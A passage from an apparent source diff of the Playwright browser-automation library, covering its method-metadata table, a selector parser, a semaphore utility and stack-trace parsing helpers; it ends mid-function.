['Frame.getAttribute', { title: 'Get attribute "{name}"', snapshot: true, pause: true, group: 'getter', }],
['Frame.goto', { title: 'Navigate to "{url}"', slowMo: true, snapshot: true, pause: true, }],
['Frame.hover', { title: 'Hover', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['Frame.innerHTML', { title: 'Get HTML', snapshot: true, pause: true, group: 'getter', }],
['Frame.innerText', { title: 'Get inner text', snapshot: true, pause: true, group: 'getter', }],
['Frame.inputValue', { title: 'Get input value', snapshot: true, pause: true, group: 'getter', }],
['Frame.isChecked', { title: 'Is checked', snapshot: true, pause: true, group: 'getter', }],
['Frame.isDisabled', { title: 'Is disabled', snapshot: true, pause: true, group: 'getter', }],
['Frame.isEnabled', { title: 'Is enabled', snapshot: true, pause: true, group: 'getter', }],
['Frame.isHidden', { title: 'Is hidden', snapshot: true, pause: true, group: 'getter', }],
['Frame.isVisible', { title: 'Is visible', snapshot: true, pause: true, group: 'getter', }],
['Frame.isEditable', { title: 'Is editable', snapshot: true, pause: true, group: 'getter', }],
['Frame.press', { title: 'Press "{key}"', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['Frame.querySelector', { title: 'Query selector', snapshot: true, }],
['Frame.querySelectorAll', { title: 'Query selector all', snapshot: true, }],
['Frame.queryCount', { title: 'Query count', snapshot: true, pause: true, }],
['Frame.selectOption', { title: 'Select option', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['Frame.setContent', { title: 'Set content', snapshot: true, pause: true, }],
['Frame.setInputFiles', { title: 'Set input files', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['Frame.tap', { title: 'Tap', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['Frame.textContent', { title: 'Get text content', snapshot: true, pause: true, group: 'getter', }],
['Frame.title', { title: 'Get page title', group: 'getter', }],
['Frame.type', { title: 'Type "{text}"', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['Frame.uncheck', { title: 'Uncheck', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['Frame.waitForTimeout', { title: 'Wait for timeout', snapshot: true, }],
['Frame.waitForFunction', { title: 'Wait for function', snapshot: true, pause: true, }],
['Frame.waitForSelector', { title: 'Wait for selector', snapshot: true, }],
['Frame.expect', { title: 'Expect "{expression}"', snapshot: true, pause: true, }],
['Worker.disconnect', { title: 'Disconnect from worker', }],
['Worker.evaluateExpression', { title: 'Evaluate', }],
['Worker.evaluateExpressionHandle', { title: 'Evaluate', }],
['Worker.updateSubscription', { internal: true, }],
['Disposable.dispose', { internal: true, }],
['JSHandle.dispose', { internal: true, }],
['ElementHandle.dispose', { internal: true, }],
['JSHandle.evaluateExpression', { title: 'Evaluate', snapshot: true, pause: true, }],
['ElementHandle.evaluateExpression', { title: 'Evaluate', snapshot: true, pause: true, }],
['JSHandle.evaluateExpressionHandle', { title: 'Evaluate', snapshot: true, pause: true, }],
['ElementHandle.evaluateExpressionHandle', { title: 'Evaluate', snapshot: true, pause: true, }],
['JSHandle.getPropertyList', { title: 'Get property list', group: 'getter', }],
['ElementHandle.getPropertyList', { title: 'Get property list', group: 'getter', }],
['JSHandle.getProperty', { title: 'Get JS property', group: 'getter', }],
['ElementHandle.getProperty', { title: 'Get JS property', group: 'getter', }],
['JSHandle.jsonValue', { title: 'Get JSON value', group: 'getter', }],
['ElementHandle.jsonValue', { title: 'Get JSON value', group: 'getter', }],
['ElementHandle.evalOnSelector', { title: 'Evaluate', snapshot: true, pause: true, }],
['ElementHandle.evalOnSelectorAll', { title: 'Evaluate', snapshot: true, pause: true, }],
['ElementHandle.boundingBox', { title: 'Get bounding box', snapshot: true, pause: true, }],
['ElementHandle.check', { title: 'Check', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['ElementHandle.click', { title: 'Click', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['ElementHandle.contentFrame', { title: 'Get content frame', group: 'getter', }],
['ElementHandle.dblclick', { title: 'Double click', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['ElementHandle.dispatchEvent', { title: 'Dispatch event', slowMo: true, snapshot: true, pause: true, }],
['ElementHandle.fill', { title: 'Fill "{value}"', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['ElementHandle.focus', { title: 'Focus', slowMo: true, snapshot: true, pause: true, }],
['ElementHandle.getAttribute', { title: 'Get attribute', snapshot: true, pause: true, group: 'getter', }],
['ElementHandle.hover', { title: 'Hover', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['ElementHandle.innerHTML', { title: 'Get HTML', snapshot: true, pause: true, group: 'getter', }],
['ElementHandle.innerText', { title: 'Get inner text', snapshot: true, pause: true, group: 'getter', }],
['ElementHandle.inputValue', { title: 'Get input value', snapshot: true, pause: true, group: 'getter', }],
['ElementHandle.isChecked', { title: 'Is checked', snapshot: true, pause: true, group: 'getter', }],
['ElementHandle.isDisabled', { title: 'Is disabled', snapshot: true, pause: true, group: 'getter', }],
['ElementHandle.isEditable', { title: 'Is editable', snapshot: true, pause: true, group: 'getter', }],
['ElementHandle.isEnabled', { title: 'Is enabled', snapshot: true, pause: true, group: 'getter', }],
['ElementHandle.isHidden', { title: 'Is hidden', snapshot: true, pause: true, group: 'getter', }],
['ElementHandle.isVisible', { title: 'Is visible', snapshot: true, pause: true, group: 'getter', }],
['ElementHandle.ownerFrame', { title: 'Get owner frame', group: 'getter', }],
['ElementHandle.press', { title: 'Press "{key}"', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['ElementHandle.querySelector', { title: 'Query selector', snapshot: true, }],
['ElementHandle.querySelectorAll', { title: 'Query selector all', snapshot: true, }],
['ElementHandle.screenshot', { title: 'Screenshot', snapshot: true, pause: true, }],
['ElementHandle.scrollIntoViewIfNeeded', { title: 'Scroll into view', slowMo: true, snapshot: true, pause: true, }],
['ElementHandle.selectOption', { title: 'Select option', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['ElementHandle.selectText', { title: 'Select text', slowMo: true, snapshot: true, pause: true, }],
['ElementHandle.setInputFiles', { title: 'Set input files', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['ElementHandle.tap', { title: 'Tap', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['ElementHandle.textContent', { title: 'Get text content', snapshot: true, pause: true, group: 'getter', }],
['ElementHandle.type', { title: 'Type', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['ElementHandle.uncheck', { title: 'Uncheck', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['ElementHandle.waitForElementState', { title: 'Wait for state', snapshot: true, pause: true, }],
['ElementHandle.waitForSelector', { title: 'Wait for selector', snapshot: true, }],
['Request.response', { internal: true, }],
['Request.rawRequestHeaders', { internal: true, }],
['Route.redirectNavigationRequest', { internal: true, }],
['Route.abort', { title: 'Abort request', group: 'route', }],
['Route.continue', { title: 'Continue request', group: 'route', }],
['Route.fulfill', { title: 'Fulfill request', group: 'route', }],
['WebSocketRoute.connect', { title: 'Connect WebSocket to server', group: 'route', }],
['WebSocketRoute.ensureOpened', { internal: true, }],
['WebSocketRoute.sendToPage', { title: 'Send WebSocket message', group: 'route', }],
['WebSocketRoute.sendToServer', { title: 'Send WebSocket message', group: 'route', }],
['WebSocketRoute.closePage', { internal: true, }],
['WebSocketRoute.closeServer', { internal: true, }],
['Response.body', { title: 'Get response body', group: 'getter', }],
['Response.securityDetails', { internal: true, }],
['Response.serverAddr', { internal: true, }],
['Response.rawResponseHeaders', { internal: true, }],
['Response.httpVersion', { internal: true, }],
['Response.sizes', { internal: true, }],
['BindingCall.reject', { internal: true, }],
['BindingCall.resolve', { internal: true, }],
['Debugger.requestPause', { title: 'Pause on next call', group: 'configuration', }],
['Debugger.resume', { title: 'Resume', group: 'configuration', }],
['Debugger.next', { title: 'Step to next call', group: 'configuration', }],
['Debugger.runTo', { title: 'Run to location', group: 'configuration', }],
['Dialog.accept', { title: 'Accept dialog', }],
['Dialog.dismiss', { title: 'Dismiss dialog', }],
['Tracing.tracingStart', { title: 'Start tracing', group: 'configuration', }],
['Tracing.tracingStartChunk', { title: 'Start tracing', group: 'configuration', }],
['Tracing.tracingGroup', { title: 'Trace "{name}"', }],
['Tracing.tracingGroupEnd', { title: 'Group end', }],
['Tracing.tracingStopChunk', { title: 'Stop tracing', group: 'configuration', }],
['Tracing.tracingStop', { title: 'Stop tracing', group: 'configuration', }],
['Tracing.harStart', { internal: true, }],
['Tracing.harExport', { internal: true, }],
['Artifact.pathAfterFinished', { internal: true, }],
['Artifact.saveAs', { internal: true, }],
['Artifact.saveAsStream', { internal: true, }],
['Artifact.failure', { internal: true, }],
['Artifact.stream', { internal: true, }],
['Artifact.cancel', { internal: true, }],
['Artifact.delete', { internal: true, }],
['Stream.read', { internal: true, }],
['Stream.close', { internal: true, }],
['WritableStream.write', { internal: true, }],
['WritableStream.close', { internal: true, }],
['CDPSession.send', { title: 'Send CDP command', group: 'configuration', }],
['CDPSession.detach', { title: 'Detach CDP session', group: 'configuration', }],
['Electron.launch', { title: 'Launch electron', }],
['ElectronApplication.browserWindow', { internal: true, }],
['ElectronApplication.evaluateExpression', { title: 'Evaluate', }],
['ElectronApplication.evaluateExpressionHandle', { title: 'Evaluate', }],
['ElectronApplication.updateSubscription', { internal: true, }],
['Android.devices', { internal: true, }],
['AndroidSocket.write', { internal: true, }],
['AndroidSocket.close', { internal: true, }],
['AndroidDevice.wait', { title: 'Wait', }],
['AndroidDevice.fill', { title: 'Fill "{text}"', }],
['AndroidDevice.tap', { title: 'Tap', }],
['AndroidDevice.drag', { title: 'Drag', }],
['AndroidDevice.fling', { title: 'Fling', }],
['AndroidDevice.longTap', { title: 'Long tap', }],
['AndroidDevice.pinchClose', { title: 'Pinch close', }],
['AndroidDevice.pinchOpen', { title: 'Pinch open', }],
['AndroidDevice.scroll', { title: 'Scroll', }],
['AndroidDevice.swipe', { title: 'Swipe', }],
['AndroidDevice.info', { internal: true, }],
['AndroidDevice.screenshot', { title: 'Screenshot', }],
['AndroidDevice.inputType', { title: 'Type', }],
['AndroidDevice.inputPress', { title: 'Press', }],
['AndroidDevice.inputTap', { title: 'Tap', }],
['AndroidDevice.inputSwipe', { title: 'Swipe', }],
['AndroidDevice.inputDrag', { title: 'Drag', }],
['AndroidDevice.launchBrowser', { title: 'Launch browser', }],
['AndroidDevice.open', { title: 'Open app', }],
['AndroidDevice.shell', { title: 'Execute shell command', group: 'configuration', }],
['AndroidDevice.installApk', { title: 'Install apk', }],
['AndroidDevice.push', { title: 'Push', }],
['AndroidDevice.connectToWebView', { title: 'Connect to Web View', }],
['AndroidDevice.close', { internal: true, }],
['JsonPipe.send', { internal: true, }],
['JsonPipe.close', { internal: true, }]
]);
export function getMetainfo(metadata: { type: string, method: string }): MethodMetainfo | undefined {
return methodMetainfo.get(metadata.type + '.' + metadata.method);
}
@@ -0,0 +1,29 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
export { isString } from './stringUtils';
export function isRegExp(obj: any): obj is RegExp {
return obj instanceof RegExp || Object.prototype.toString.call(obj) === '[object RegExp]';
}
export function isObject(obj: any): obj is NonNullable<object> {
return typeof obj === 'object' && obj !== null;
}
export function isError(obj: any): obj is Error {
return obj instanceof Error || (obj && Object.getPrototypeOf(obj)?.name === 'Error');
}
@@ -0,0 +1,441 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { InvalidSelectorError, parseCSS } from './cssParser';
import type { CSSComplexSelectorList } from './cssParser';
export { InvalidSelectorError, isInvalidSelectorError } from './cssParser';
export type NestedSelectorBody = { parsed: ParsedSelector, distance?: number };
const kNestedSelectorNames = new Set(['internal:has', 'internal:has-not', 'internal:and', 'internal:or', 'internal:chain', 'left-of', 'right-of', 'above', 'below', 'near']);
const kNestedSelectorNamesWithDistance = new Set(['left-of', 'right-of', 'above', 'below', 'near']);
export type ParsedSelectorPart = {
name: string,
body: string | CSSComplexSelectorList | NestedSelectorBody,
source: string,
};
export type ParsedSelector = {
parts: ParsedSelectorPart[],
capture?: number,
};
type ParsedSelectorStrings = {
parts: { name: string, body: string }[],
capture?: number,
};
export const customCSSNames = new Set(['not', 'is', 'where', 'has', 'scope', 'light', 'visible', 'text', 'text-matches', 'text-is', 'has-text', 'above', 'below', 'right-of', 'left-of', 'near', 'nth-match']);
export function parseSelector(selector: string): ParsedSelector {
const parsedStrings = parseSelectorString(selector);
const parts: ParsedSelectorPart[] = [];
for (const part of parsedStrings.parts) {
if (part.name === 'css' || part.name === 'css:light') {
if (part.name === 'css:light')
part.body = ':light(' + part.body + ')';
const parsedCSS = parseCSS(part.body, customCSSNames);
parts.push({
name: 'css',
body: parsedCSS.selector,
source: part.body
});
continue;
}
if (kNestedSelectorNames.has(part.name)) {
let innerSelector: string;
let distance: number | undefined;
try {
const unescaped = JSON.parse('[' + part.body + ']');
if (!Array.isArray(unescaped) || unescaped.length < 1 || unescaped.length > 2 || typeof unescaped[0] !== 'string')
throw new InvalidSelectorError(`Malformed selector: ${part.name}=` + part.body);
innerSelector = unescaped[0];
if (unescaped.length === 2) {
if (typeof unescaped[1] !== 'number' || !kNestedSelectorNamesWithDistance.has(part.name))
throw new InvalidSelectorError(`Malformed selector: ${part.name}=` + part.body);
distance = unescaped[1];
}
} catch (e) {
throw new InvalidSelectorError(`Malformed selector: ${part.name}=` + part.body);
}
const nested = { name: part.name, source: part.body, body: { parsed: parseSelector(innerSelector), distance } };
const lastFrame = [...nested.body.parsed.parts].reverse().find(part => part.name === 'internal:control' && part.body === 'enter-frame');
const lastFrameIndex = lastFrame ? nested.body.parsed.parts.indexOf(lastFrame) : -1;
// Allow nested selectors to start with the same frame selector.
if (lastFrameIndex !== -1 && selectorPartsEqual(nested.body.parsed.parts.slice(0, lastFrameIndex + 1), parts.slice(0, lastFrameIndex + 1)))
nested.body.parsed.parts.splice(0, lastFrameIndex + 1);
parts.push(nested);
continue;
}
parts.push({ ...part, source: part.body });
}
if (kNestedSelectorNames.has(parts[0].name))
throw new InvalidSelectorError(`"${parts[0].name}" selector cannot be first`);
return {
capture: parsedStrings.capture,
parts
};
}
export function splitSelectorByFrame(selectorText: string): ParsedSelector[] {
const selector = parseSelector(selectorText);
const result: ParsedSelector[] = [];
let chunk: ParsedSelector = {
parts: [],
};
let chunkStartIndex = 0;
for (let i = 0; i < selector.parts.length; ++i) {
const part = selector.parts[i];
if (part.name === 'internal:control' && part.body === 'enter-frame') {
if (!chunk.parts.length)
throw new InvalidSelectorError('Selector cannot start with entering frame, select the iframe first');
result.push(chunk);
chunk = { parts: [] };
chunkStartIndex = i + 1;
continue;
}
if (selector.capture === i)
chunk.capture = i - chunkStartIndex;
chunk.parts.push(part);
}
if (!chunk.parts.length)
throw new InvalidSelectorError(`Selector cannot end with entering frame, while parsing selector ${selectorText}`);
result.push(chunk);
if (typeof selector.capture === 'number' && typeof result[result.length - 1].capture !== 'number')
throw new InvalidSelectorError(`Can not capture the selector before diving into the frame. Only use * after the last frame has been selected`);
return result;
}
function selectorPartsEqual(list1: ParsedSelectorPart[], list2: ParsedSelectorPart[]) {
return stringifySelector({ parts: list1 }) === stringifySelector({ parts: list2 });
}
export function stringifySelector(selector: string | ParsedSelector, forceEngineName?: boolean): string {
if (typeof selector === 'string')
return selector;
return selector.parts.map((p, i) => {
let includeEngine = true;
if (!forceEngineName && i !== selector.capture) {
if (p.name === 'css')
includeEngine = false;
else if (p.name === 'xpath' && p.source.startsWith('//') || p.source.startsWith('..'))
includeEngine = false;
}
const prefix = includeEngine ? p.name + '=' : '';
return `${i === selector.capture ? '*' : ''}${prefix}${p.source}`;
}).join(' >> ');
}
export function visitAllSelectorParts(selector: ParsedSelector, visitor: (part: ParsedSelectorPart, nested: boolean) => void) {
const visit = (selector: ParsedSelector, nested: boolean) => {
for (const part of selector.parts) {
visitor(part, nested);
if (kNestedSelectorNames.has(part.name))
visit((part.body as NestedSelectorBody).parsed, true);
}
};
visit(selector, false);
}
function parseSelectorString(selector: string): ParsedSelectorStrings {
let index = 0;
let quote: string | undefined;
let start = 0;
const result: ParsedSelectorStrings = { parts: [] };
const append = () => {
const part = selector.substring(start, index).trim();
const eqIndex = part.indexOf('=');
let name: string;
let body: string;
if (eqIndex !== -1 && part.substring(0, eqIndex).trim().match(/^[a-zA-Z_0-9-+:*]+$/)) {
name = part.substring(0, eqIndex).trim();
body = part.substring(eqIndex + 1);
} else if (part.length > 1 && part[0] === '"' && part[part.length - 1] === '"') {
name = 'text';
body = part;
} else if (part.length > 1 && part[0] === "'" && part[part.length - 1] === "'") {
name = 'text';
body = part;
} else if (/^\(*\/\//.test(part) || part.startsWith('..')) {
// If selector starts with '//' or '//' prefixed with multiple opening
// parenthesis, consider xpath. @see https://github.com/microsoft/playwright/issues/817
// If selector starts with '..', consider xpath as well.
name = 'xpath';
body = part;
} else {
name = 'css';
body = part;
}
let capture = false;
if (name[0] === '*') {
capture = true;
name = name.substring(1);
}
result.parts.push({ name, body });
if (capture) {
if (result.capture !== undefined)
throw new InvalidSelectorError(`Only one of the selectors can capture using * modifier`);
result.capture = result.parts.length - 1;
}
};
if (!selector.includes('>>')) {
index = selector.length;
append();
return result;
}
const shouldIgnoreTextSelectorQuote = () => {
const prefix = selector.substring(start, index);
const match = prefix.match(/^\s*text\s*=(.*)$/);
// Must be a text selector with some text before the quote.
return !!match && !!match[1];
};
while (index < selector.length) {
const c = selector[index];
if (c === '\\' && index + 1 < selector.length) {
index += 2;
} else if (c === quote) {
quote = undefined;
index++;
} else if (!quote && (c === '"' || c === '\'' || c === '`') && !shouldIgnoreTextSelectorQuote()) {
quote = c;
index++;
} else if (!quote && c === '>' && selector[index + 1] === '>') {
append();
index += 2;
start = index;
} else {
index++;
}
}
append();
return result;
}
export type AttributeSelectorOperator = '<truthy>'|'='|'*='|'|='|'^='|'$='|'~=';
export type AttributeSelectorPart = {
name: string,
jsonPath: string[],
op: AttributeSelectorOperator,
value: any,
caseSensitive: boolean,
};
export type AttributeSelector = {
name: string,
attributes: AttributeSelectorPart[],
};
export function parseAttributeSelector(selector: string, allowUnquotedStrings: boolean): AttributeSelector {
let wp = 0;
let EOL = selector.length === 0;
const next = () => selector[wp] || '';
const eat1 = () => {
const result = next();
++wp;
EOL = wp >= selector.length;
return result;
};
const syntaxError = (stage: string|undefined) => {
if (EOL)
throw new InvalidSelectorError(`Unexpected end of selector while parsing selector \`${selector}\``);
throw new InvalidSelectorError(`Error while parsing selector \`${selector}\` - unexpected symbol "${next()}" at position ${wp}` + (stage ? ' during ' + stage : ''));
};
function skipSpaces() {
while (!EOL && /\s/.test(next()))
eat1();
}
function isCSSNameChar(char: string) {
// https://www.w3.org/TR/css-syntax-3/#ident-token-diagram
return (char >= '\u0080') // non-ascii
|| (char >= '\u0030' && char <= '\u0039') // digit
|| (char >= '\u0041' && char <= '\u005a') // uppercase letter
|| (char >= '\u0061' && char <= '\u007a') // lowercase letter
|| (char >= '\u0030' && char <= '\u0039') // digit
|| char === '\u005f' // "_"
|| char === '\u002d'; // "-"
}
function readIdentifier() {
let result = '';
skipSpaces();
while (!EOL && isCSSNameChar(next()))
result += eat1();
return result;
}
function readQuotedString(quote: string) {
let result = eat1();
if (result !== quote)
syntaxError('parsing quoted string');
while (!EOL && next() !== quote) {
if (next() === '\\')
eat1();
result += eat1();
}
if (next() !== quote)
syntaxError('parsing quoted string');
result += eat1();
return result;
}
function readRegularExpression() {
if (eat1() !== '/')
syntaxError('parsing regular expression');
let source = '';
let inClass = false;
// https://262.ecma-international.org/11.0/#sec-literals-regular-expression-literals
while (!EOL) {
if (next() === '\\') {
source += eat1();
if (EOL)
syntaxError('parsing regular expression');
} else if (inClass && next() === ']') {
inClass = false;
} else if (!inClass && next() === '[') {
inClass = true;
} else if (!inClass && next() === '/') {
break;
}
source += eat1();
}
if (eat1() !== '/')
syntaxError('parsing regular expression');
let flags = '';
// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions
while (!EOL && next().match(/[dgimsuy]/))
flags += eat1();
try {
return new RegExp(source, flags);
} catch (e) {
throw new InvalidSelectorError(`Error while parsing selector \`${selector}\`: ${e.message}`);
}
}
function readAttributeToken() {
let token = '';
skipSpaces();
if (next() === `'` || next() === `"`)
token = readQuotedString(next()).slice(1, -1);
else
token = readIdentifier();
if (!token)
syntaxError('parsing property path');
return token;
}
function readOperator(): AttributeSelectorOperator {
skipSpaces();
let op = '';
if (!EOL)
op += eat1();
if (!EOL && (op !== '='))
op += eat1();
if (!['=', '*=', '^=', '$=', '|=', '~='].includes(op))
syntaxError('parsing operator');
return (op as AttributeSelectorOperator);
}
function readAttribute(): AttributeSelectorPart {
// skip leading [
eat1();
// read attribute name:
// foo.bar
// 'foo' . "ba zz"
const jsonPath = [];
jsonPath.push(readAttributeToken());
skipSpaces();
while (next() === '.') {
eat1();
jsonPath.push(readAttributeToken());
skipSpaces();
}
// check property is truthy: [enabled]
if (next() === ']') {
eat1();
return { name: jsonPath.join('.'), jsonPath, op: '<truthy>', value: null, caseSensitive: false };
}
const operator = readOperator();
let value = undefined;
let caseSensitive = true;
skipSpaces();
if (next() === '/') {
if (operator !== '=')
throw new InvalidSelectorError(`Error while parsing selector \`${selector}\` - cannot use ${operator} in attribute with regular expression`);
value = readRegularExpression();
} else if (next() === `'` || next() === `"`) {
value = readQuotedString(next()).slice(1, -1);
skipSpaces();
if (next() === 'i' || next() === 'I') {
caseSensitive = false;
eat1();
} else if (next() === 's' || next() === 'S') {
caseSensitive = true;
eat1();
}
} else {
value = '';
while (!EOL && (isCSSNameChar(next()) || next() === '+' || next() === '.'))
value += eat1();
if (value === 'true') {
value = true;
} else if (value === 'false') {
value = false;
} else {
if (!allowUnquotedStrings) {
value = +value;
if (Number.isNaN(value))
syntaxError('parsing attribute value');
}
}
}
skipSpaces();
if (next() !== ']')
syntaxError('parsing attribute value');
eat1();
if (operator !== '=' && typeof value !== 'string')
throw new InvalidSelectorError(`Error while parsing selector \`${selector}\` - cannot use ${operator} in attribute with non-string matching value - ${value}`);
return { name: jsonPath.join('.'), jsonPath, op: operator, value, caseSensitive };
}
const result: AttributeSelector = {
name: '',
attributes: [],
};
result.name = readIdentifier();
skipSpaces();
while (next() === '[') {
result.attributes.push(readAttribute());
skipSpaces();
}
if (!EOL)
syntaxError(undefined);
if (!result.name && !result.attributes.length)
throw new InvalidSelectorError(`Error while parsing selector \`${selector}\` - selector cannot be empty`);
return result;
}
@@ -0,0 +1,50 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { ManualPromise } from './manualPromise';
export class Semaphore {
private _max: number;
private _acquired = 0;
private _queue: ManualPromise[] = [];
constructor(max: number) {
this._max = max;
}
setMax(max: number) {
this._max = max;
}
acquire(): Promise<void> {
const lock = new ManualPromise();
this._queue.push(lock);
this._flush();
return lock;
}
release() {
--this._acquired;
this._flush();
}
private _flush() {
while (this._acquired < this._max && this._queue.length) {
++this._acquired;
this._queue.shift()!.resolve();
}
}
}
@@ -0,0 +1,201 @@
/**
* The MIT License (MIT)
* Modifications copyright (c) Microsoft Corporation.
*
* Copyright (c) 2016-2023 Isaac Z. Schlueter i@izs.me, James Talmage james@talmage.io (github.com/jamestalmage), and
* Contributors
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
* documentation files (the "Software"), to deal in the Software without restriction, including without limitation the
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all copies or substantial portions of the
* Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
* WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
* OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
export type RawStack = string[];
export type StackFrame = {
file: string,
line: number,
column: number,
function?: string,
};
export function captureRawStack(): RawStack {
const stackTraceLimit = Error.stackTraceLimit;
Error.stackTraceLimit = 50;
const error = new Error();
const stack = error.stack || '';
Error.stackTraceLimit = stackTraceLimit;
return stack.split('\n');
}
export function parseStackFrame(text: string, pathSeparator: string, showInternalStackFrames: boolean): StackFrame | null {
const match = text && text.match(re);
if (!match)
return null;
let fname = match[2];
let file = match[7];
if (!file)
return null;
if (!showInternalStackFrames && (file.startsWith('internal') || file.startsWith('node:')))
return null;
const line = match[8];
const column = match[9];
const closeParen = match[11] === ')';
const frame: StackFrame = {
file: '',
line: 0,
column: 0,
};
if (line)
frame.line = Number(line);
if (column)
frame.column = Number(column);
if (closeParen && file) {
// make sure parens are balanced
// if we have a file like "asdf) [as foo] (xyz.js", then odds are
// that the fname should be += " (asdf) [as foo]" and the file
// should be just "xyz.js"
// walk backwards from the end to find the last unbalanced (
let closes = 0;
for (let i = file.length - 1; i > 0; i--) {
if (file.charAt(i) === ')') {
closes++;
} else if (file.charAt(i) === '(' && file.charAt(i - 1) === ' ') {
closes--;
if (closes === -1 && file.charAt(i - 1) === ' ') {
const before = file.slice(0, i - 1);
const after = file.slice(i + 1);
file = after;
fname += ` (${before}`;
break;
}
}
}
}
if (fname) {
const methodMatch = fname.match(methodRe);
if (methodMatch)
fname = methodMatch[1];
}
if (file) {
if (file.startsWith('file://'))
file = fileURLToPath(file, pathSeparator);
frame.file = file;
}
if (fname)
frame.function = fname;
return frame;
}
export function rewriteErrorMessage<E extends Error>(e: E, newMessage: string): E {
const lines: string[] = (e.stack?.split('\n') || []).filter(l => l.startsWith(' at '));
e.message = newMessage;
const errorTitle = `${e.name}: ${e.message}`;
if (lines.length)
e.stack = `${errorTitle}\n${lines.join('\n')}`;
return e;
}
export function stringifyStackFrames(frames: StackFrame[]): string[] {
const stackLines: string[] = [];
for (const frame of frames) {
if (frame.function)
stackLines.push(` at ${frame.function} (${frame.file}:${frame.line}:${frame.column})`);
else
stackLines.push(` at ${frame.file}:${frame.line}:${frame.column}`);
}
return stackLines;
}
export function splitErrorMessage(message: string): { name: string, message: string } {
const separationIdx = message.indexOf(':');
return {
name: separationIdx !== -1 ? message.slice(0, separationIdx) : '',
message: separationIdx !== -1 && separationIdx + 2 <= message.length ? message.substring(separationIdx + 2) : message,
};
}
export function parseErrorStack(stack: string, pathSeparator: string, showInternalStackFrames: boolean = false): {
message: string;
stackLines: string[];
location?: StackFrame;
} {
const lines = stack.split('\n');
let firstStackLine = lines.findIndex(line => line.startsWith(' at '));
if (firstStackLine === -1)
firstStackLine = lines.length;
const message = lines.slice(0, firstStackLine).join('\n');
const stackLines = lines.slice(firstStackLine);
let location: StackFrame | undefined;
for (const line of stackLines) {
const frame = parseStackFrame(line, pathSeparator, showInternalStackFrames);
if (!frame || !frame.file)
continue;
if (belongsToNodeModules(frame.file, pathSeparator))
continue;
location = { file: frame.file, column: frame.column || 0, line: frame.line || 0 };
break;
}
return { message, stackLines, location };
}
function belongsToNodeModules(file: string, pathSeparator: string) {
return file.includes(`${pathSeparator}node_modules${pathSeparator}`);
}
const re = new RegExp('^' +
// Sometimes we strip out the ' at' because it's noisy
'(?:\\s*at )?' +
// $1 = ctor if 'new'
'(?:(new) )?' +
// $2 = function name (can be literally anything)
// May contain method at the end as [as xyz]
'(?:(.*?) \\()?' +
// (eval at <anonymous> (file.js:1:1),
// $3 = eval origin
// $4:$5:$6 are eval file/line/col, but not normally reported
'(?:eval at ([^ ]+) \\((.+?):(\\d+):(\\d+)\\), )?' +
// file:line:col
// $7:$8:$9
// $10 = 'native' if native
'(?:(.+?):(\\d+):(\\d+)|(native))' +
// maybe close the paren, then end
// if $11 is ), then we only allow balanced parens in the filename
// any imbalance is placed on the fname. This is a heuristic, and
// bound to be incorrect in some edge cases. The bet is that
// having weird characters in method names is more common than
// having weird characters in filenames, which seems reasonable.
'(\\)?)$'
);
const methodRe = /^(.*?) \[as (.*?)\]$/;
function fileURLToPath(fileUrl: string, pathSeparator: string): string {
